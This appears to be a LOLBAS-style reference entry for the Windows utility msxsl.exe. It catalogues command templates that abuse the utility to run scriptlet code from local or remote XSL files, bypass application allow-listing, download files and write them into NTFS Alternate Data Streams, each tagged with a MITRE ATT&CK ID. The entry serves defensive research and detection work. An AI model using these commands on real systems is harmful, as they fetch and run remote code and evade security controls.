msxsl.exe

type: OtherMSBinaries
Command line utility used to perform XSL transformations.

Full path

no default

Commands

  1. ExecuteUser T1220

    Local execution of script stored in XSL file.

    msxsl.exe {PATH:.xml} {PATH:.xsl}

    Run COM Scriptlet code within the script.xsl file (local).

    os: Windows

    Execute: XSL

  2. AWL BypassUser T1220

    Local execution of script stored in XSL file.

    msxsl.exe {PATH:.xml} {PATH:.xsl}

    Run COM Scriptlet code within the script.xsl file (local).

    os: Windows

    Execute: XSL

  3. ExecuteUser T1220

    Local execution of remote script stored in XSL script stored as an XML file.

    msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl}

    Run COM Scriptlet code within the shellcode.xml(xsl) file (remote).

    os: Windows

    Execute: XSLExecute: Remote

  4. AWL BypassUser T1220

    Local execution of remote script stored in XSL script stored as an XML file.

    msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xml}

    Run COM Scriptlet code within the shellcode.xml(xsl) file (remote).

    os: Windows

    Execute: XSLExecute: Remote

  5. DownloadUser T1105

    Download a file from the internet and save it to disk.

    msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl} -o {PATH}

    Using remote XML and XSL files, save the transformed XML file to disk.

    os: Windows

  6. ADSUser T1564

    Download a file from the internet and save it to an NTFS Alternate Data Stream.

    msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl} -o {PATH}:ads-name

    Using remote XML and XSL files, save the transformed XML file to an Alternate Data Stream (ADS).

    os: Windows

Detection

Resources

acknowledgement: Casey Smith @subtee, Ronnie Salomonsen @r0ns3n